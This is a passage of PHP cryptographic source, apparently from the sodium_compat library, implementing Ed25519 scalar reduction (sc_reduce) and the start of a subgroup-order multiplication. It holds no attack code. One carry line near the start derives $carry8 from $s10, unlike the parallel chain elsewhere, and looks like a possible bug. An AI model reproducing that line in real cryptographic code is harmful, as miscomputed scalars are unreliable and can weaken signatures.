= $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry12 = $s12->addInt(1 << 20)->shiftRight(21); $s13 = $s13->addInt64($carry12); $s12 = $s12->subInt64($carry12->shiftLeft(21)); $carry14 = $s14->addInt(1 << 20)->shiftRight(21); $s15 = $s15->addInt64($carry14); $s14 = $s14->subInt64($carry14->shiftLeft(21)); $carry16 = $s16->addInt(1 << 20)->shiftRight(21); $s17 = $s17->addInt64($carry16); $s16 = $s16->subInt64($carry16->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $carry13 = $s13->addInt(1 << 20)->shiftRight(21); $s14 = $s14->addInt64($carry13); $s13 = $s13->subInt64($carry13->shiftLeft(21)); $carry15 = $s15->addInt(1 << 20)->shiftRight(21); $s16 = $s16->addInt64($carry15); $s15 = $s15->subInt64($carry15->shiftLeft(21)); $s5 = $s5->addInt64($s17->mulInt(666643, 20)); $s6 = $s6->addInt64($s17->mulInt(470296, 19)); $s7 = $s7->addInt64($s17->mulInt(654183, 20)); $s8 = $s8->subInt64($s17->mulInt(997805, 20)); $s9 = $s9->addInt64($s17->mulInt(136657, 18)); $s10 = $s10->subInt64($s17->mulInt(683901, 20)); $s4 = $s4->addInt64($s16->mulInt(666643, 20)); $s5 = $s5->addInt64($s16->mulInt(470296, 19)); $s6 = $s6->addInt64($s16->mulInt(654183, 20)); $s7 = $s7->subInt64($s16->mulInt(997805, 20)); $s8 = $s8->addInt64($s16->mulInt(136657, 18)); $s9 = $s9->subInt64($s16->mulInt(683901, 20)); $s3 = $s3->addInt64($s15->mulInt(666643, 20)); $s4 = $s4->addInt64($s15->mulInt(470296, 19)); $s5 = $s5->addInt64($s15->mulInt(654183, 20)); $s6 = $s6->subInt64($s15->mulInt(997805, 20)); $s7 = $s7->addInt64($s15->mulInt(136657, 18)); $s8 = $s8->subInt64($s15->mulInt(683901, 20)); $s2 = $s2->addInt64($s14->mulInt(666643, 20)); $s3 = $s3->addInt64($s14->mulInt(470296, 19)); $s4 = $s4->addInt64($s14->mulInt(654183, 20)); $s5 = $s5->subInt64($s14->mulInt(997805, 20)); $s6 = $s6->addInt64($s14->mulInt(136657, 18)); $s7 = $s7->subInt64($s14->mulInt(683901, 20)); $s1 = $s1->addInt64($s13->mulInt(666643, 20)); $s2 = $s2->addInt64($s13->mulInt(470296, 19)); $s3 = $s3->addInt64($s13->mulInt(654183, 20)); $s4 = $s4->subInt64($s13->mulInt(997805, 20)); $s5 = $s5->addInt64($s13->mulInt(136657, 18)); $s6 = $s6->subInt64($s13->mulInt(683901, 20)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $s12 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->addInt(1 << 20)->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry2 = $s2->addInt(1 << 20)->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry4 = $s4->addInt(1 << 20)->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry1 = $s1->addInt(1 << 20)->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry3 = $s3->addInt(1 << 20)->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry5 = $s5->addInt(1 << 20)->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $s12 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry1 = $s1->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry2 = $s2->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry3 = $s3->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry4 = $s4->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry5 = $s5->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry6 = $s6->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry7 = $s7->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry8 = $s8->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry9 = $s9->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry10 = $s10->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry11 = $s11->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $carry0 = $s0->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry1 = $s1->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry2 = $s2->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry3 = $s3->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry4 = $s4->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry5 = $s5->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry6 = $s6->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry7 = $s7->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry8 = $s10->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry9 = $s9->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry10 = $s10->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $S0 = $s0->toInt(); $S1 = $s1->toInt(); $S2 = $s2->toInt(); $S3 = $s3->toInt(); $S4 = $s4->toInt(); $S5 = $s5->toInt(); $S6 = $s6->toInt(); $S7 = $s7->toInt(); $S8 = $s8->toInt(); $S9 = $s9->toInt(); $S10 = $s10->toInt(); $S11 = $s11->toInt(); /** * @var array */ $arr = array( (int) (0xff & ($S0 >> 0)), (int) (0xff & ($S0 >> 8)), (int) (0xff & (($S0 >> 16) | ($S1 << 5))), (int) (0xff & ($S1 >> 3)), (int) (0xff & ($S1 >> 11)), (int) (0xff & (($S1 >> 19) | ($S2 << 2))), (int) (0xff & ($S2 >> 6)), (int) (0xff & (($S2 >> 14) | ($S3 << 7))), (int) (0xff & ($S3 >> 1)), (int) (0xff & ($S3 >> 9)), (int) (0xff & (($S3 >> 17) | ($S4 << 4))), (int) (0xff & ($S4 >> 4)), (int) (0xff & ($S4 >> 12)), (int) (0xff & (($S4 >> 20) | ($S5 << 1))), (int) (0xff & ($S5 >> 7)), (int) (0xff & (($S5 >> 15) | ($S6 << 6))), (int) (0xff & ($S6 >> 2)), (int) (0xff & ($S6 >> 10)), (int) (0xff & (($S6 >> 18) | ($S7 << 3))), (int) (0xff & ($S7 >> 5)), (int) (0xff & ($S7 >> 13)), (int) (0xff & ($S8 >> 0)), (int) (0xff & ($S8 >> 8)), (int) (0xff & (($S8 >> 16) | ($S9 << 5))), (int) (0xff & ($S9 >> 3)), (int) (0xff & ($S9 >> 11)), (int) (0xff & (($S9 >> 19) | ($S10 << 2))), (int) (0xff & ($S10 >> 6)), (int) (0xff & (($S10 >> 14) | ($S11 << 7))), (int) (0xff & ($S11 >> 1)), (int) (0xff & ($S11 >> 9)), (int) (0xff & ($S11 >> 17)) ); return self::intArrayToString($arr); } /** * @internal You should not use this directly from another application * * @param string $s * @return string * @throws SodiumException * @throws TypeError */ public static function sc_reduce($s) { /** * @var ParagonIE_Sodium_Core32_Int64 $s0 * @var ParagonIE_Sodium_Core32_Int64 $s1 * @var ParagonIE_Sodium_Core32_Int64 $s2 * @var ParagonIE_Sodium_Core32_Int64 $s3 * @var ParagonIE_Sodium_Core32_Int64 $s4 * @var ParagonIE_Sodium_Core32_Int64 $s5 * @var ParagonIE_Sodium_Core32_Int64 $s6 * @var ParagonIE_Sodium_Core32_Int64 $s7 * @var ParagonIE_Sodium_Core32_Int64 $s8 * @var ParagonIE_Sodium_Core32_Int64 $s9 * @var ParagonIE_Sodium_Core32_Int64 $s10 * @var ParagonIE_Sodium_Core32_Int64 $s11 * @var ParagonIE_Sodium_Core32_Int64 $s12 * @var ParagonIE_Sodium_Core32_Int64 $s13 * @var ParagonIE_Sodium_Core32_Int64 $s14 * @var ParagonIE_Sodium_Core32_Int64 $s15 * @var ParagonIE_Sodium_Core32_Int64 $s16 * @var ParagonIE_Sodium_Core32_Int64 $s17 * @var ParagonIE_Sodium_Core32_Int64 $s18 * @var ParagonIE_Sodium_Core32_Int64 $s19 * @var ParagonIE_Sodium_Core32_Int64 $s20 * @var ParagonIE_Sodium_Core32_Int64 $s21 * @var ParagonIE_Sodium_Core32_Int64 $s22 * @var ParagonIE_Sodium_Core32_Int64 $s23 */ $s0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 0, 3))); $s1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 2, 4)) >> 5)); $s2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 5, 3)) >> 2)); $s3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 7, 4)) >> 7)); $s4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 10, 4)) >> 4)); $s5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 13, 3)) >> 1)); $s6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 15, 4)) >> 6)); $s7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 18, 4)) >> 3)); $s8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 21, 3))); $s9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 23, 4)) >> 5)); $s10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 26, 3)) >> 2)); $s11 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 28, 4)) >> 7)); $s12 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 31, 4)) >> 4)); $s13 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 34, 3)) >> 1)); $s14 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 36, 4)) >> 6)); $s15 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 39, 4)) >> 3)); $s16 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & self::load_3(self::substr($s, 42, 3))); $s17 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 44, 4)) >> 5)); $s18 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 47, 3)) >> 2)); $s19 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 49, 4)) >> 7)); $s20 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 52, 4)) >> 4)); $s21 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_3(self::substr($s, 55, 3)) >> 1)); $s22 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 & (self::load_4(self::substr($s, 57, 4)) >> 6)); $s23 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff & (self::load_4(self::substr($s, 60, 4)) >> 3)); $s11 = $s11->addInt64($s23->mulInt(666643, 20)); $s12 = $s12->addInt64($s23->mulInt(470296, 19)); $s13 = $s13->addInt64($s23->mulInt(654183, 20)); $s14 = $s14->subInt64($s23->mulInt(997805, 20)); $s15 = $s15->addInt64($s23->mulInt(136657, 18)); $s16 = $s16->subInt64($s23->mulInt(683901, 20)); $s10 = $s10->addInt64($s22->mulInt(666643, 20)); $s11 = $s11->addInt64($s22->mulInt(470296, 19)); $s12 = $s12->addInt64($s22->mulInt(654183, 20)); $s13 = $s13->subInt64($s22->mulInt(997805, 20)); $s14 = $s14->addInt64($s22->mulInt(136657, 18)); $s15 = $s15->subInt64($s22->mulInt(683901, 20)); $s9 = $s9->addInt64($s21->mulInt(666643, 20)); $s10 = $s10->addInt64($s21->mulInt(470296, 19)); $s11 = $s11->addInt64($s21->mulInt(654183, 20)); $s12 = $s12->subInt64($s21->mulInt(997805, 20)); $s13 = $s13->addInt64($s21->mulInt(136657, 18)); $s14 = $s14->subInt64($s21->mulInt(683901, 20)); $s8 = $s8->addInt64($s20->mulInt(666643, 20)); $s9 = $s9->addInt64($s20->mulInt(470296, 19)); $s10 = $s10->addInt64($s20->mulInt(654183, 20)); $s11 = $s11->subInt64($s20->mulInt(997805, 20)); $s12 = $s12->addInt64($s20->mulInt(136657, 18)); $s13 = $s13->subInt64($s20->mulInt(683901, 20)); $s7 = $s7->addInt64($s19->mulInt(666643, 20)); $s8 = $s8->addInt64($s19->mulInt(470296, 19)); $s9 = $s9->addInt64($s19->mulInt(654183, 20)); $s10 = $s10->subInt64($s19->mulInt(997805, 20)); $s11 = $s11->addInt64($s19->mulInt(136657, 18)); $s12 = $s12->subInt64($s19->mulInt(683901, 20)); $s6 = $s6->addInt64($s18->mulInt(666643, 20)); $s7 = $s7->addInt64($s18->mulInt(470296, 19)); $s8 = $s8->addInt64($s18->mulInt(654183, 20)); $s9 = $s9->subInt64($s18->mulInt(997805, 20)); $s10 = $s10->addInt64($s18->mulInt(136657, 18)); $s11 = $s11->subInt64($s18->mulInt(683901, 20)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry12 = $s12->addInt(1 << 20)->shiftRight(21); $s13 = $s13->addInt64($carry12); $s12 = $s12->subInt64($carry12->shiftLeft(21)); $carry14 = $s14->addInt(1 << 20)->shiftRight(21); $s15 = $s15->addInt64($carry14); $s14 = $s14->subInt64($carry14->shiftLeft(21)); $carry16 = $s16->addInt(1 << 20)->shiftRight(21); $s17 = $s17->addInt64($carry16); $s16 = $s16->subInt64($carry16->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $carry13 = $s13->addInt(1 << 20)->shiftRight(21); $s14 = $s14->addInt64($carry13); $s13 = $s13->subInt64($carry13->shiftLeft(21)); $carry15 = $s15->addInt(1 << 20)->shiftRight(21); $s16 = $s16->addInt64($carry15); $s15 = $s15->subInt64($carry15->shiftLeft(21)); $s5 = $s5->addInt64($s17->mulInt(666643, 20)); $s6 = $s6->addInt64($s17->mulInt(470296, 19)); $s7 = $s7->addInt64($s17->mulInt(654183, 20)); $s8 = $s8->subInt64($s17->mulInt(997805, 20)); $s9 = $s9->addInt64($s17->mulInt(136657, 18)); $s10 = $s10->subInt64($s17->mulInt(683901, 20)); $s4 = $s4->addInt64($s16->mulInt(666643, 20)); $s5 = $s5->addInt64($s16->mulInt(470296, 19)); $s6 = $s6->addInt64($s16->mulInt(654183, 20)); $s7 = $s7->subInt64($s16->mulInt(997805, 20)); $s8 = $s8->addInt64($s16->mulInt(136657, 18)); $s9 = $s9->subInt64($s16->mulInt(683901, 20)); $s3 = $s3->addInt64($s15->mulInt(666643, 20)); $s4 = $s4->addInt64($s15->mulInt(470296, 19)); $s5 = $s5->addInt64($s15->mulInt(654183, 20)); $s6 = $s6->subInt64($s15->mulInt(997805, 20)); $s7 = $s7->addInt64($s15->mulInt(136657, 18)); $s8 = $s8->subInt64($s15->mulInt(683901, 20)); $s2 = $s2->addInt64($s14->mulInt(666643, 20)); $s3 = $s3->addInt64($s14->mulInt(470296, 19)); $s4 = $s4->addInt64($s14->mulInt(654183, 20)); $s5 = $s5->subInt64($s14->mulInt(997805, 20)); $s6 = $s6->addInt64($s14->mulInt(136657, 18)); $s7 = $s7->subInt64($s14->mulInt(683901, 20)); $s1 = $s1->addInt64($s13->mulInt(666643, 20)); $s2 = $s2->addInt64($s13->mulInt(470296, 19)); $s3 = $s3->addInt64($s13->mulInt(654183, 20)); $s4 = $s4->subInt64($s13->mulInt(997805, 20)); $s5 = $s5->addInt64($s13->mulInt(136657, 18)); $s6 = $s6->subInt64($s13->mulInt(683901, 20)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $s12 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->addInt(1 << 20)->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry2 = $s2->addInt(1 << 20)->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry4 = $s4->addInt(1 << 20)->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry6 = $s6->addInt(1 << 20)->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry8 = $s8->addInt(1 << 20)->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry10 = $s10->addInt(1 << 20)->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry1 = $s1->addInt(1 << 20)->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry3 = $s3->addInt(1 << 20)->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry5 = $s5->addInt(1 << 20)->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry7 = $s7->addInt(1 << 20)->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry9 = $s9->addInt(1 << 20)->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry11 = $s11->addInt(1 << 20)->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $s12 = new ParagonIE_Sodium_Core32_Int64(); $carry0 = $s0->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry1 = $s1->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry2 = $s2->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry3 = $s3->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry4 = $s4->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry5 = $s5->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry6 = $s6->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry7 = $s7->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry8 = $s8->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry9 = $s9->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry10 = $s10->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $carry11 = $s11->shiftRight(21); $s12 = $s12->addInt64($carry11); $s11 = $s11->subInt64($carry11->shiftLeft(21)); $s0 = $s0->addInt64($s12->mulInt(666643, 20)); $s1 = $s1->addInt64($s12->mulInt(470296, 19)); $s2 = $s2->addInt64($s12->mulInt(654183, 20)); $s3 = $s3->subInt64($s12->mulInt(997805, 20)); $s4 = $s4->addInt64($s12->mulInt(136657, 18)); $s5 = $s5->subInt64($s12->mulInt(683901, 20)); $carry0 = $s0->shiftRight(21); $s1 = $s1->addInt64($carry0); $s0 = $s0->subInt64($carry0->shiftLeft(21)); $carry1 = $s1->shiftRight(21); $s2 = $s2->addInt64($carry1); $s1 = $s1->subInt64($carry1->shiftLeft(21)); $carry2 = $s2->shiftRight(21); $s3 = $s3->addInt64($carry2); $s2 = $s2->subInt64($carry2->shiftLeft(21)); $carry3 = $s3->shiftRight(21); $s4 = $s4->addInt64($carry3); $s3 = $s3->subInt64($carry3->shiftLeft(21)); $carry4 = $s4->shiftRight(21); $s5 = $s5->addInt64($carry4); $s4 = $s4->subInt64($carry4->shiftLeft(21)); $carry5 = $s5->shiftRight(21); $s6 = $s6->addInt64($carry5); $s5 = $s5->subInt64($carry5->shiftLeft(21)); $carry6 = $s6->shiftRight(21); $s7 = $s7->addInt64($carry6); $s6 = $s6->subInt64($carry6->shiftLeft(21)); $carry7 = $s7->shiftRight(21); $s8 = $s8->addInt64($carry7); $s7 = $s7->subInt64($carry7->shiftLeft(21)); $carry8 = $s8->shiftRight(21); $s9 = $s9->addInt64($carry8); $s8 = $s8->subInt64($carry8->shiftLeft(21)); $carry9 = $s9->shiftRight(21); $s10 = $s10->addInt64($carry9); $s9 = $s9->subInt64($carry9->shiftLeft(21)); $carry10 = $s10->shiftRight(21); $s11 = $s11->addInt64($carry10); $s10 = $s10->subInt64($carry10->shiftLeft(21)); $S0 = $s0->toInt32()->toInt(); $S1 = $s1->toInt32()->toInt(); $S2 = $s2->toInt32()->toInt(); $S3 = $s3->toInt32()->toInt(); $S4 = $s4->toInt32()->toInt(); $S5 = $s5->toInt32()->toInt(); $S6 = $s6->toInt32()->toInt(); $S7 = $s7->toInt32()->toInt(); $S8 = $s8->toInt32()->toInt(); $S9 = $s9->toInt32()->toInt(); $S10 = $s10->toInt32()->toInt(); $S11 = $s11->toInt32()->toInt(); /** * @var array */ $arr = array( (int) ($S0 >> 0), (int) ($S0 >> 8), (int) (($S0 >> 16) | ($S1 << 5)), (int) ($S1 >> 3), (int) ($S1 >> 11), (int) (($S1 >> 19) | ($S2 << 2)), (int) ($S2 >> 6), (int) (($S2 >> 14) | ($S3 << 7)), (int) ($S3 >> 1), (int) ($S3 >> 9), (int) (($S3 >> 17) | ($S4 << 4)), (int) ($S4 >> 4), (int) ($S4 >> 12), (int) (($S4 >> 20) | ($S5 << 1)), (int) ($S5 >> 7), (int) (($S5 >> 15) | ($S6 << 6)), (int) ($S6 >> 2), (int) ($S6 >> 10), (int) (($S6 >> 18) | ($S7 << 3)), (int) ($S7 >> 5), (int) ($S7 >> 13), (int) ($S8 >> 0), (int) ($S8 >> 8), (int) (($S8 >> 16) | ($S9 << 5)), (int) ($S9 >> 3), (int) ($S9 >> 11), (int) (($S9 >> 19) | ($S10 << 2)), (int) ($S10 >> 6), (int) (($S10 >> 14) | ($S11 << 7)), (int) ($S11 >> 1), (int) ($S11 >> 9), (int) $S11 >> 17 ); return self::intArrayToString($arr); } /** * multiply by the order of the main subgroup l = 2^252+27742317777372353535851937790883648493 * * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_mul_l(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A) { $aslide = array( 13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 